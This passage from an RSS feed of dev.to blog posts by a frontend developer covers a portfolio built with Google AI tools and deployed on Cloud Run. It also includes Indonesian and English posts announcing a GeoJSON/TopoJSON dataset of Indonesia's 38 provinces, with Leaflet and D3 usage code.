&lt;p&gt;The zero-dependency approach paid off. Install is &lt;code&gt;git clone &amp;amp;&amp;amp; npm ci &amp;amp;&amp;amp; npm run build&lt;/code&gt;. No native modules, no platform-specific binaries, no post-install scripts. It works on &lt;code&gt;node:20-alpine&lt;/code&gt; with just &lt;code&gt;git&lt;/code&gt; and &lt;code&gt;bash&lt;/code&gt; added.&lt;/p&gt;

&lt;p&gt;If you're interested in the code: &lt;a href="https://github.com/denyherianto/niteni" rel="noopener noreferrer"&gt;github.com/denyherianto/niteni&lt;/a&gt;&lt;/p&gt;

</description>
    </item>
    <item>
      <title>Shipping a Portfolio That Actually Represents Me</title>
      <dc:creator>Deny Herianto</dc:creator>
      <pubDate>Thu, 22 Jan 2026 02:37:20 +0000</pubDate>
      <link>https://dev.to/denyherianto/shipping-a-portfolio-that-actually-represents-me-clh</link>
      <guid>https://dev.to/denyherianto/shipping-a-portfolio-that-actually-represents-me-clh</guid>
      <description>&lt;p&gt;&lt;em&gt;This is a submission for the &lt;a href="https://dev.to/challenges/new-year-new-you-google-ai-2025-12-31"&gt;New Year, New You Portfolio Challenge Presented by Google AI&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  About Me
&lt;/h2&gt;

&lt;p&gt;Hi, I’m Danny,  a frontend engineer who enjoys building products that sit at the intersection of clean UI, solid engineering, and real-world impact.&lt;br&gt;&lt;br&gt;
This portfolio is my attempt to reflect how I think and work today: pragmatic, curious, and focused on building things that actually ship. Rather than treating a portfolio as a static résumé, I wanted it to feel like a living system that shows how I approach problems, make decisions, and grow over time.&lt;/p&gt;
&lt;h2&gt;
  
  
  Portfolio
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Live portfolio:&lt;/strong&gt; &lt;a href="https://denyherianto.com?utm_source=dev.to"&gt;https://denyherianto.com&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Embedded live using Google Cloud Run:&lt;/p&gt;

&lt;p&gt;

&lt;/p&gt;
&lt;div class="ltag__cloud-run"&gt;
  &lt;iframe height="600px" src="https://intelligent-system-portfolio-100235767852.us-west1.run.app"&gt;
  &lt;/iframe&gt;
&lt;/div&gt;




&lt;h2&gt;
  
  
  How I Built It
&lt;/h2&gt;

&lt;p&gt;I began by defining clear requirements for what the portfolio needed to achieve. Focusing on communication, not decoration. Once the constraints were clear, I used &lt;strong&gt;Gemini Chat&lt;/strong&gt; to polish the idea itself: refining the structure, clarifying the narrative, and stress-testing how my work should be presented to different audiences.&lt;/p&gt;

&lt;p&gt;After the concept was solid, I moved into &lt;strong&gt;design ideation using &lt;a href="https://aura.build" rel="noopener noreferrer"&gt;aura.build&lt;/a&gt;&lt;/strong&gt;. This stage was about rapidly exploring layout options, visual hierarchy, and content flow. Aura made it easy to experiment, discard weak ideas early, and converge on a clean, readable design without over-committing.&lt;/p&gt;

&lt;p&gt;With the design direction established, I used &lt;strong&gt;Google AI Studio&lt;/strong&gt; during implementation to further refine content, project descriptions, and future-facing AI interactions.&lt;/p&gt;

&lt;p&gt;The portfolio is deployed on &lt;strong&gt;Google Cloud Run&lt;/strong&gt;, providing a simple, scalable production setup with minimal operational overhead. The entire workflow followed a deliberate loop: define → polish → design → build → ship, closely mirroring how I approach real-world product development.&lt;/p&gt;

&lt;h2&gt;
  
  
  What I'm Most Proud Of
&lt;/h2&gt;

&lt;p&gt;I’m most proud that this portfolio allows visitors to understand how I think without needing a call or a chat.&lt;/p&gt;

&lt;p&gt;Instead of relying on visuals or buzzwords, I focused on clear structure, direct explanations, and context behind each piece of work. Every section is designed to answer the kinds of questions that usually come up in interviews, how I approach problems, make decisions, and ship.&lt;/p&gt;

&lt;p&gt;Thanks for checking it out, and thanks to the DEV and Google AI teams for running this challenge.&lt;/p&gt;

</description>
      <category>devchallenge</category>
      <category>googleaichallenge</category>
      <category>portfolio</category>
      <category>gemini</category>
    </item>
    <item>
      <title>Peta GeoJSON &amp; TopoJSON Indonesia (38 Provinsi)</title>
      <dc:creator>Deny Herianto</dc:creator>
      <pubDate>Wed, 17 Dec 2025 15:34:16 +0000</pubDate>
      <link>https://dev.to/denyherianto/peta-geojson-topojson-indonesia-38-provinsi-3dic</link>
      <guid>https://dev.to/denyherianto/peta-geojson-topojson-indonesia-38-provinsi-3dic</guid>
      <description>&lt;p&gt;Indonesia secara resmi kini memiliki &lt;strong&gt;38 provinsi&lt;/strong&gt;, dan jika Anda pernah mencoba membangun aplikasi berbasis peta, seperti dashboard, peta pemilu, alat logistik, pelacakan bencana, atau visualisasi data. Besar kemungkinan Anda pernah merasakan masalah berikut:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Data provinsi tidak lengkap&lt;/li&gt;
&lt;li&gt;Batas wilayah yang sudah tidak relevan&lt;/li&gt;
&lt;li&gt;Penamaan yang tidak konsisten&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  Mengapa Ini Penting
&lt;/h2&gt;

&lt;p&gt;Peta bukan sekadar visual yang menarik. Peta adalah &lt;strong&gt;fondasi&lt;/strong&gt; dari data Anda.&lt;/p&gt;

&lt;p&gt;Jika daftar provinsi tidak akurat, maka seluruh sistem ikut bermasalah. Peta choropleth menjadi keliru. Analitik tidak sesuai dengan wilayah sebenarnya. Tooltip menampilkan nama yang salah. &lt;/p&gt;

&lt;p&gt;Indonesia telah menambah beberapa provinsi baru, Papua Selatan, Papua Tengah, Papua Pegunungan, dan Papua Barat Daya. Sehingga banyak dataset lama kini sudah tidak relevan. Bahkan, banyak sumber publik masih hanya menampilkan 34 provinsi.&lt;/p&gt;




&lt;h2&gt;
  
  
  Cakupan
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Data Lengkap
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;38 provinsi&lt;/strong&gt;, termasuk:

&lt;ul&gt;
&lt;li&gt;Papua Selatan
&lt;/li&gt;
&lt;li&gt;Papua Tengah
&lt;/li&gt;
&lt;li&gt;Papua Pegunungan
&lt;/li&gt;
&lt;li&gt;Papua Barat Daya
&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;/ul&gt;

&lt;h3&gt;
  
  
  Dua Tipe Format
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;GeoJSON&lt;/strong&gt;  &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Mudah digunakan
&lt;/li&gt;
&lt;li&gt;Kompatibel dengan Leaflet, Mapbox GL, dan overlay Google Maps
&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;

&lt;p&gt;&lt;strong&gt;TopoJSON&lt;/strong&gt;  &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Ukuran file ~80–90% lebih kecil
&lt;/li&gt;
&lt;li&gt;Waktu muat lebih cepat
&lt;/li&gt;
&lt;li&gt;Ideal untuk D3.js dan visualisasi skala besar
&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;/ul&gt;

&lt;h3&gt;
  
  
  Bersih &amp;amp; Konsisten
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Nama provinsi yang telah dinormalisasi
&lt;/li&gt;
&lt;li&gt;ID stabil untuk proses data join
&lt;/li&gt;
&lt;li&gt;Tidak ada geometri duplikat
&lt;/li&gt;
&lt;li&gt;Jalur (path) yang telah disederhanakan dan ramah web
&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  GeoJSON vs TopoJSON (Ringkasan)
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Fitur&lt;/th&gt;
&lt;th&gt;GeoJSON&lt;/th&gt;
&lt;th&gt;TopoJSON&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Keterbacaan&lt;/td&gt;
&lt;td&gt;✅ Tinggi&lt;/td&gt;
&lt;td&gt;⚠️ Sedang&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Ukuran File&lt;/td&gt;
&lt;td&gt;❌ Besar&lt;/td&gt;
&lt;td&gt;✅ Sangat Kecil&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Performa Browser&lt;/td&gt;
&lt;td&gt;⚠️ Bisa lambat&lt;/td&gt;
&lt;td&gt;✅ Cepat&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Paling Cocok Untuk&lt;/td&gt;
&lt;td&gt;Peta sederhana&lt;/td&gt;
&lt;td&gt;Visualisasi data, dashboard&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Jika Anda membangun &lt;strong&gt;dashboard interaktif&lt;/strong&gt;, TopoJSON adalah pilihan yang tepat.&lt;br&gt;&lt;br&gt;
Jika Anda butuh yang &lt;strong&gt;plug-and-play&lt;/strong&gt;, GeoJSON sudah sangat memadai.&lt;/p&gt;




&lt;h2&gt;
  
  
  Contoh Kasus Penggunaan
&lt;/h2&gt;

&lt;p&gt;Dataset ini ideal untuk:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;📊 Dashboard pemerintahan &amp;amp; layanan publik
&lt;/li&gt;
&lt;li&gt;🌋 Pelacakan bencana &amp;amp; banjir
&lt;/li&gt;
&lt;li&gt;🗳️ Peta pemilu &amp;amp; demografi
&lt;/li&gt;
&lt;li&gt;🚚 Perencanaan logistik &amp;amp; cakupan layanan
&lt;/li&gt;
&lt;li&gt;📍 Produk SaaS berbasis lokasi
&lt;/li&gt;
&lt;li&gt;📱 Visualisasi data yang mobile-first
&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  Contoh: Menggunakan GeoJSON dengan Leaflet
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="nx"&gt;L&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;leaflet&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="nx"&gt;indonesiaProvinces&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;./indonesia-38-provinces.geojson&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="nx"&gt;L&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;geoJSON&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;indonesiaProvinces&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="na"&gt;style&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="na"&gt;color&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;#1e40af&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="na"&gt;weight&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="na"&gt;fillOpacity&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mf"&gt;0.6&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="p"&gt;},&lt;/span&gt;
  &lt;span class="na"&gt;onEachFeature&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;feature&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;layer&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nx"&gt;layer&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;bindPopup&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;feature&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;properties&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;province&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="p"&gt;},&lt;/span&gt;
&lt;span class="p"&gt;}).&lt;/span&gt;&lt;span class="nf"&gt;addTo&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;map&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;--&lt;/p&gt;

&lt;h2&gt;
  
  
  Contoh: Menggunakan TopoJSON dengan D3.js
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="nx"&gt;d3&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;d3&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;feature&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;topojson-client&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="c1"&gt;// Import file TopoJSON (mendukung Vite / Webpack / Next.js)&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="nx"&gt;topoData&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;./indonesia-38-provinces.topo.json&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;width&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;800&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;height&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;600&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;svg&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;d3&lt;/span&gt;
  &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;select&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;#map&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;svg&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;attr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;width&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;width&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;attr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;height&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;height&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;projection&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;d3&lt;/span&gt;
  &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;geoMercator&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
  &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;fitSize&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="nx"&gt;width&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;height&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="nf"&gt;feature&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;topoData&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;topoData&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;objects&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;indonesia_provinces&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;path&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;d3&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;geoPath&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="nf"&gt;projection&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;projection&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="c1"&gt;// Konversi TopoJSON → GeoJSON&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;provinces&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;feature&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
  &lt;span class="nx"&gt;topoData&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="nx"&gt;topoData&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;objects&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;indonesia_provinces&lt;/span&gt;
&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="nx"&gt;svg&lt;/span&gt;
  &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;selectAll&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;path&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;data&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;provinces&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;features&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;enter&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
  &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;path&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;attr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;d&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;path&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;attr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;fill&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;#60a5fa&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;attr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;stroke&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;#1e3a8a&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;title&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;text&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;d&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;d&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;properties&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;province&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;--&lt;/p&gt;

&lt;h2&gt;
  
  
  Unduh
&lt;/h2&gt;

&lt;p&gt;Unduh dataset melalui repositori berikut:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://github.com/denyherianto/indonesia-geojson-topojson-maps-with-38-provinces" rel="noopener noreferrer"&gt;https://github.com/denyherianto/indonesia-geojson-topojson-maps-with-38-provinces&lt;/a&gt;&lt;/p&gt;

</description>
      <category>data</category>
      <category>javascript</category>
      <category>performance</category>
      <category>resources</category>
    </item>
    <item>
      <title>GeoJSON &amp; TopoJSON Maps of Indonesia (38 Provinces)</title>
      <dc:creator>Deny Herianto</dc:creator>
      <pubDate>Wed, 17 Dec 2025 15:05:27 +0000</pubDate>
      <link>https://dev.to/denyherianto/geojson-topojson-maps-of-indonesia-38-provinces-591n</link>
      <guid>https://dev.to/denyherianto/geojson-topojson-maps-of-indonesia-38-provinces-591n</guid>
      <description>&lt;p&gt;Indonesia officially has 38 provinces, and if you’ve ever tried to build a map-based app or dashboards, election maps, logistics tools, disaster tracking, or data visualizations. You’ve probably felt the pains:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Incomplete province data&lt;/li&gt;
&lt;li&gt;Outdated boundaries&lt;/li&gt;
&lt;li&gt;Inconsistent naming&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  Why You Should Care
&lt;/h2&gt;

&lt;p&gt;Maps aren’t just pretty pictures. They’re the &lt;strong&gt;backbone&lt;/strong&gt; of your data.&lt;/p&gt;

&lt;p&gt;If your province list is off, you’re in trouble. Choropleth maps end up wrong. Analytics don’t match real regions. Tooltips show the wrong names. &lt;/p&gt;

&lt;p&gt;Indonesia’s added new provinces, Papua Selatan, Papua Tengah, Papua Pegunungan, Papua Barat Daya. So older datasets are now out of date. A lot of public sources still only show 34 provinces.&lt;/p&gt;




&lt;h2&gt;
  
  
  What’s Included
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Complete Coverage
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;38 provinces&lt;/strong&gt;, including:

&lt;ul&gt;
&lt;li&gt;Papua Selatan
&lt;/li&gt;
&lt;li&gt;Papua Tengah
&lt;/li&gt;
&lt;li&gt;Papua Pegunungan
&lt;/li&gt;
&lt;li&gt;Papua Barat Daya
&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;/ul&gt;

&lt;h3&gt;
  
  
  Two Formats
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;GeoJSON&lt;/strong&gt;  &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Easy to use
&lt;/li&gt;
&lt;li&gt;Compatible with Leaflet, Mapbox GL, Google Maps overlays
&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;

&lt;p&gt;&lt;strong&gt;TopoJSON&lt;/strong&gt;  &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;~80–90% smaller file size
&lt;/li&gt;
&lt;li&gt;Faster loading
&lt;/li&gt;
&lt;li&gt;Ideal for D3.js and large-scale visualizations
&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;/ul&gt;

&lt;h3&gt;
  
  
  Clean &amp;amp; Consistent
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Normalized province names
&lt;/li&gt;
&lt;li&gt;Stable IDs for data joins
&lt;/li&gt;
&lt;li&gt;No duplicated geometries
&lt;/li&gt;
&lt;li&gt;Simplified paths (web-friendly)
&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  GeoJSON vs TopoJSON (Quick Recap)
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Feature&lt;/th&gt;
&lt;th&gt;GeoJSON&lt;/th&gt;
&lt;th&gt;TopoJSON&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Readability&lt;/td&gt;
&lt;td&gt;✅ High&lt;/td&gt;
&lt;td&gt;⚠️ Medium&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;File Size&lt;/td&gt;
&lt;td&gt;❌ Large&lt;/td&gt;
&lt;td&gt;✅ Very Small&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Browser Performance&lt;/td&gt;
&lt;td&gt;⚠️ Can lag&lt;/td&gt;
&lt;td&gt;✅ Fast&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Best For&lt;/td&gt;
&lt;td&gt;Simple maps&lt;/td&gt;
&lt;td&gt;Data viz, dashboards&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;If you’re building &lt;strong&gt;interactive dashboards&lt;/strong&gt;, TopoJSON is your friend.&lt;br&gt;&lt;br&gt;
If you want &lt;strong&gt;plug-and-play simplicity&lt;/strong&gt;, GeoJSON works great.&lt;/p&gt;




&lt;h2&gt;
  
  
  Common Use Cases
&lt;/h2&gt;

&lt;p&gt;This dataset is ideal for:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;📊 Government &amp;amp; civic dashboards&lt;/li&gt;
&lt;li&gt;🌋 Disaster &amp;amp; flood tracking&lt;/li&gt;
&lt;li&gt;🗳️ Election &amp;amp; demographic maps&lt;/li&gt;
&lt;li&gt;🚚 Logistics &amp;amp; coverage planning&lt;/li&gt;
&lt;li&gt;📍 Location-based SaaS products&lt;/li&gt;
&lt;li&gt;📱 Mobile-first data visualizations&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  Example: Using GeoJSON with Leaflet
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
